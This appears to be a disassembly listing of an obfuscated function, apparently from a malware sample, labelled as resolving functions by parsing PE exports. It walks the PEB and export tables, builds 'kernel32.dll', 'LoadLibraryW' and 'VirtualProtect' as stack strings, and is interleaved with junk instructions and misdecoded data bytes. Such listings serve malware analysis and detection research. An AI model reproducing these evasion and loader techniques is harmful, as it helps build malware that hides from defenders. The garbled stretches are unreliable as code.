Function at 0x508548
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push eax
or eax, 0x23e5
call 0x5084ce
add byte [edx], bh
inc ebp
dec edx
xor bh, byte [edi]
cmp dword [0xc4833732], edi
add al, 0xe8
or al, byte [eax]
add byte [eax], al
add byte [edi + 0x4e], al
inc ebx
dec esi
dec ecx
aaa
inc ecx
inc edi
cmp byte [ebx - 0x177efb3c], al
push ebx
push ebp
add dword [eax], eax
pop eax
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push eax
push edx
add esp, 4
pop eax
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push esi
push ebx
add esp, 4
add esi, 0x3658
pop esi
push esi
sub esi, 0x120e2
call 0x5085c5
add byte [edi], dh
inc ebx
dec ebx
cmp dword [ecx + 0x50], ecx
cmp edi, dword [ecx]
inc ebp
add esp, 4
and esi, 0x15f3f
or esi, 0xf4a9
pop esi
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x5085f8
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x50865b
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x508517
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x508517
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x508645
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x50864f
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x5086a4
push edx
sub edx, 0x201d
pop edx
push ebx
push ebx
add esp, 4
sub ebx, 0x1cb2
pop ebx
push ecx
push ebx
add esp, 4
and ecx, 0xb572
and ecx, 0x1677
or ecx, 0x14f5f
xor ecx, 0x18594
pop ecx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x50870c
push esi
push edi
add esp, 4
jmp 0x5086b0
and esi, 0x89d5
jmp 0x5086bb
pop esi
push esi
push ebx
add esp, 4
add esi, 0x16fec
pop esi
push eax
and eax, 0x158ef
sub eax, 0x9637
pop eax
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x508702
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x5084b8
mov dword [ebp - 0x6ec], 0
push edi
sub edi, 0x1015f
or edi, 0xe311
sub edi, 0x6db2
or edi, 0x10600
pop edi
push ecx
push ebx
add esp, 4
sub ecx, 0x38d8
sub ecx, 0xcffc
xor ecx, 0x403b
pop ecx
cmp dword [ebp - 0x6ec], 0
jne 0x508788
push ecx
push eax
add esp, 4
sub ecx, 0x6009
sub ecx, 0x152f0
add ecx, 0x15c16
jmp 0x508764
pop ecx
push ecx
or ecx, 0xaeeb
add ecx, 0xde25
xor ecx, 0x425b
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x5092af
push esi
and esi, 0x1cb8
sub esi, 0xcdb2
or esi, 0xb774
pop esi
push esi
push ecx
add esp, 4
call 0x5087ad
add byte [eax*2 + 0x37403b47], dh
add esp, 4
jmp 0x5087b9
pop esi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x5087f9
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x508aea
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x508821
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x508aea
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x508853
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x508aea
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x508878
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x508aea
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x5088d2
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x508ade
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x508942
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x5089f4
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x5089f4
push esi
sub esi, 0x22dd
and esi, 0xd084
and esi, 0x11451
pop esi
push ebx
push edi
add esp, 4
or ebx, 0xc3b8
xor ebx, 0x12a25
or ebx, 0x7216
add ebx, 0x1054a
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x5089e6
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x5089ed
jmp 0x508933
jmp 0x5089f4
push edi
push ecx
add esp, 4
and edi, 0xc02
xor edi, 0x516c
xor edi, 0x1858b
or edi, 0xf019
pop edi
push esi
add esi, 0xe348
sub esi, 0xdcf6
xor esi, 0x12cd6
pop esi
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x508a53
mov dword [ebp - 0xc30], 0
jmp 0x508ac2
push eax
push eax
add esp, 4
sub eax, 0x1088d
add eax, 0x1836e
sub eax, 0x851c
pop eax
push eax
jmp 0x508a72
pop eax
push ebx
push esi
add esp, 4
add ebx, 0xf6fe
xor ebx, 0x10be2
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x508ab8
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x508ac2
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x508ad9
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x508aea
jmp 0x5088c3
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x508bc5
push eax
jmp 0x508b01
and eax, 0x16a3b
pop eax
push esi
push ebx
add esp, 4
call 0x508b19
add byte [ebp + 0x49], cl
cmp esi, dword [ebx]
dec esi
cmp dword [ebx - 0x397efb3c], eax
out 0xb9, al
add byte [eax], al
sub esi, 0x36cf
pop esi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edi
add edi, 0xf776
xor edi, 0x6c8a
add edi, 0x5fd5
pop edi
push edi
push esi
add esp, 4
call 0x508b5d
add byte [esp + edi], dh
xor eax, 0x494f3845
cmp dword [ebx], esi
add esp, 4
and edi, 0x7d37
pop edi
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x508bc5
push edi
or edi, 0x9886
sub edi, 0x92e7
sub edi, 0xdfd5
sub edi, 0x152a2
pop edi
push ecx
push esi
add esp, 4
or ecx, 0x148fa
sub ecx, 0x12278
or ecx, 0x8cdc
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x5092af
push edx
sub edx, 0xa849
and edx, 0x1830b
add edx, 0x670
pop edx
push esi
push edi
add esp, 4
xor esi, 0xe1a3
add esi, 0x17a5a
sub esi, 0xba71
and esi, 0xa436
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push ecx
xor ecx, 0x4aa7
xor ecx, 0xca7d
pop ecx
push ebx
push eax
add esp, 4
call 0x508c41
add byte [ebp + 0x4c], cl
cmp byte [edx], dh
inc ebp
xor al, 0x3d
inc eax
dec ecx
xor eax, dword [ebx - 0xc7efb3c]
salc
fld qword [eax]
add bl, ch
add eax, dword [ecx + 0x4a]
dec esi
pop ebx
cmp dword [ebp - 0x14f4], 0
jne 0x508c68
mov dword [ebp - 0x2e0], 0
jmp 0x508f0f
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push edx
push edi
add esp, 4
add edx, 0x8e3d
add edx, 0x2e8d
add edx, 0x5416
pop edx
push eax
xor eax, 0x161a0
and eax, 0x162b8
and eax, 0x18646
add eax, 0x6e91
pop eax
cmp dword [ebp - 0xc3c], 0
jne 0x508cc4
mov dword [ebp - 0x2e0], 0
jmp 0x508f0f
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push edx
sub edx, 0xd76
jmp 0x508cdc
call 0x508cea
add byte [eax + 0x3a], cl
inc ecx
cmp eax, 0x83374333
les eax, [edx + ebx*2]
push ecx
and ecx, 0x7520
xor ecx, 0x514a
and ecx, 0x15406
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edi
push ebx
add esp, 4
xor edi, 0x6cbe
or edi, 0xb722
call 0x508d4c
add byte [ebx + edi + 0x49], al
inc edx
dec edi
inc esi
cmp ecx, dword ss:[ecx - 0x7d]
les eax, [ecx + eax*4]
invalid
push ecx
xor ecx, 0x84c7
or ecx, 0x17644
pop ecx
push edi
and edi, 0x16e55
sub edi, 0x17570
call 0x508f37
add byte [ebx], bh
cmp al, byte [eax + 0x4e]
inc ebp
dec ebx
push eax
add esp, 4
sub edi, 0x14b7
pop edi
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ecx
push edx
add esp, 4
xor ecx, 0xdffd
and ecx, 0xefaf
pop ecx
push ecx
add ecx, 0xc7da
jmp 0x508f71
call 0x508f7e
add byte [eax + 0x3c], cl
xor eax, 0x50464d36
add esp, 4
pop ecx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x508fb2
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x5092a3
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x508fda
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x5092a3
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x50900c
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x5092a3
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x509031
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x5092a3
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x50908b
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x509297
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x5090fb
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x5091ad
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x5091ad
push esi
push edx
add esp, 4
or esi, 0x14cb9
sub esi, 0x35df
pop esi
push ecx
push edx
add esp, 4
jmp 0x509145
pop ecx
push edi
add edi, 0x17e38
xor edi, 0x3ad4
and edi, 0xce07
pop edi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x50919f
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x5091a6
jmp 0x5090ec
jmp 0x5091ad
push ebx
sub ebx, 0x673c
or ebx, 0x2539
add ebx, 0x1a9e
add ebx, 0xdd9f
pop ebx
push ebx
push edx
add esp, 4
call 0x5091db
add byte [edi + 0x3f], cl
dec edx
dec edx
dec edi
dec edx
inc ecx
dec ecx
add esp, 4
pop ebx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x50920c
mov dword [ebp - 0xc40], 0
jmp 0x50927b
push ebx
push edx
add esp, 4
or ebx, 0x15545
and ebx, 0x7264
add ebx, 0xaa35
xor ebx, 0x1b1b
pop ebx
push ecx
push eax
add esp, 4
and ecx, 0xb400
pop ecx
push ecx
xor ecx, 0x119ae
pop ecx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x509271
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x50927b
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x509292
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x5092a3
jmp 0x50907c
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push esi
or esi, 0x144e9
and esi, 0x6574
and esi, 0x143c2
pop esi
push edx
push ecx
add esp, 4
and edx, 0x34e1
or edx, 0x1506f
pop edx
push ebx
push ebx
add esp, 4
sub ebx, 0x1347d
pop ebx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push ecx
push ecx
add esp, 4
and ecx, 0xdf43
xor ecx, 0x13eb6
and ecx, 0xdfbd
add ecx, 0x12de7
pop ecx
push edi
push ecx
add esp, 4
and edi, 0x173f2
pop edi
push eax
and eax, 0xa28a
pop eax
cmp dword [ebp - 0x3cc], 0
je 0x509334
cmp dword [ebp - 0xa5c], 0
jne 0x50937a
push esi
push eax
add esp, 4
add esi, 0x513e
or esi, 0xb308
pop esi
push eax
sub eax, 0x4920
and eax, 0x14e73
or eax, 0x17b05
pop eax
push ecx
push eax
add esp, 4
or ecx, 0x17a57
pop ecx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ecx
push ebx
add esp, 4
or ecx, 0xc802
pop ecx
push ebx
push esi
add esp, 4
xor ebx, 0x2c51
or ebx, 0x6f3d
pop ebx
push edi
xor edi, 0x26db
xor edi, 0x16b0d
xor edi, 0xe924
pop edi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ebx
push edx
add esp, 4
jmp 0x5093ed
add ebx, 0x7781
add ebx, 0x3bcf
pop ebx
push eax
call 0x509408
add byte [eax + eax*2 + 0x40], al
inc esi
inc edi
cmp byte [ecx - 0x7d], al
les eax, [ebx + ebp*8]
add eax, 0x4d474443
xor eax, 0xa085c658
idiv bh
call dword [esi - 0x3a]
test dword [ecx + 0x69fffff6], esp
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edi
push edi
add esp, 4
add edi, 0xc301
and edi, 0x157c3
or edi, 0xe4cf
xor edi, 0x10731
pop edi
push eax
xor eax, 0x170f9
and eax, 0x1245d
and eax, 0x15709
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edx
and edx, 0x64f5
and edx, 0x176f8
jmp 0x5094ea
call 0x5094fa
add byte [ecx + edi + 0x33], cl
cmp eax, dword [esi + 0x4c]
xor eax, dword ds:[ebp + 0x4e]
add esp, 4
pop edx
push ecx
jmp 0x509506
pop ecx
cmp dword [ebp - 0x150c], 0
jne 0x50951f
mov dword [ebp - 0x2a8], 0
jmp 0x5097c6
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push esi
push edx
add esp, 4
xor esi, 0x9cea
call 0x50954a
add byte [esi], bh
dec edi
dec eax
inc esp
xor eax, 0x8339354c
les eax, [eax + ebp*8]
pop es
add byte [eax], al
add byte [eax], al
inc edi
dec edx
cmp byte [0xc4833e4e], dh
add al, 0x81
invalid
push ebx
jmp 0x5097cc
xor ebx, 0x11a57
pop ebx
push eax
push esi
add esp, 4
xor eax, 0xcfd2
or eax, 0x5c2c
and eax, 0x154a1
pop eax
push ecx
push ebx
add esp, 4
jmp 0x5097f7
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x50a0fd
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
add ecx, 0xa708
sub ecx, 0x182a1
xor ecx, 0x1166c
pop ecx
push ebx
push ebx
add esp, 4
sub ebx, 0xc696
call 0x5098cc
add byte [ecx + 0x3a], cl
dec eax
dec esp
inc ebp
inc eax
xor al, 0x47
add esp, 4
pop ebx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ecx
jmp 0x50995b
jmp 0x509964
sub ecx, 0xbbec
pop ecx
push edi
push ebx
add esp, 4
add edi, 0x11e96
add edi, 0x12881
pop edi
push edx
and edx, 0xbc9b
pop edx
cmp dword [ebp - 0x1518], 0
jne 0x50999d
mov dword [ebp - 0x710], 0
jmp 0x509c44
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edx
xor edx, 0x16492
add edx, 0x117a1
or edx, 0xa693
or edx, 0x17b64
pop edx
push eax
push edi
add esp, 4
sub eax, 0x10308
and eax, 0xc351
or eax, 0xab37
pop eax
cmp dword [ebp - 0xc58], 0
jne 0x5099f9
mov dword [ebp - 0x710], 0
jmp 0x509c44
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edx
push edi
add esp, 4
add edx, 0x15b72
pop edx
push ecx
push edx
add esp, 4
and ecx, 0x148f4
xor ecx, 0x3d7d
pop ecx
push esi
add esi, 0xaf68
add esi, 0xe084
or esi, 0x9960
pop esi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ecx
or ecx, 0x10f50
jmp 0x509a70
pop ecx
push ecx
push edx
add esp, 4
call 0x509a83
add byte [edx], dh
dec edi
xor eax, 0x4f413a48
add esp, 4
or ecx, 0x9f29
xor ecx, 0x16139
pop ecx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ecx
push edx
add esp, 4
add ecx, 0xeed3
and ecx, 0x46b2
pop ecx
push ebx
push eax
add esp, 4
jmp 0x509b07
add ebx, 0x95c4
add ebx, 0x109d3
pop ebx
push edi
or edi, 0x10fc8
pop edi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x509b39
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x509b93
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x509a61
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x509a61
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x509b7d
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x509b87
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x509bdc
push ebx
sub ebx, 0x12523
and ebx, 0x2fa
pop ebx
push edx
push ecx
add esp, 4
sub edx, 0x39f0
add edx, 0x7314
pop edx
push edi
push ebx
add esp, 4
or edi, 0x63d5
sub edi, 0x1dbd
pop edi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x509c44
push edx
xor edx, 0xa69a
pop edx
push eax
or eax, 0xf5ab
add eax, 0x79f3
pop eax
push edi
push edi
add esp, 4
call 0x509c04
add byte [edx + 0x3b], al
dec eax
dec eax
cmp esi, dword [esi]
inc esp
add esp, 4
and edi, 0xfa84
pop edi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x509c3a
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x509a05
mov dword [ebp - 0x710], 0
push edi
push eax
add esp, 4
sub edi, 0xb66c
pop edi
push ecx
and ecx, 0xf910
pop ecx
push ebx
push eax
add esp, 4
or ebx, 0x14990
or ebx, 0xb97e
xor ebx, 0x11821
or ebx, 0xa062
pop ebx
cmp dword [ebp - 0x710], 0
jne 0x509cc0
push esi
push eax
add esp, 4
or esi, 0x4037
sub esi, 0x9193
or esi, 0xc91f
pop esi
push edx
call 0x509ca7
add byte [eax + 0x4d], dl
dec esp
cmp dword [esi], esi
push eax
aas
dec edi
dec ecx
add esp, 4
sub edx, 0x12bba
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x50a7e8
push ebx
or ebx, 0x111ce
jmp 0x509cce
jmp 0x509cd6
xor ebx, 0x11b69
pop ebx
push edi
push ebx
add esp, 4
jmp 0x509ce9
pop edi
push ecx
and ecx, 0x104b8
pop ecx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x509d31
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x50a022
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x509d59
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x50a022
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x509d8b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x50a022
mov ecx, dword [ebp - 0x300]
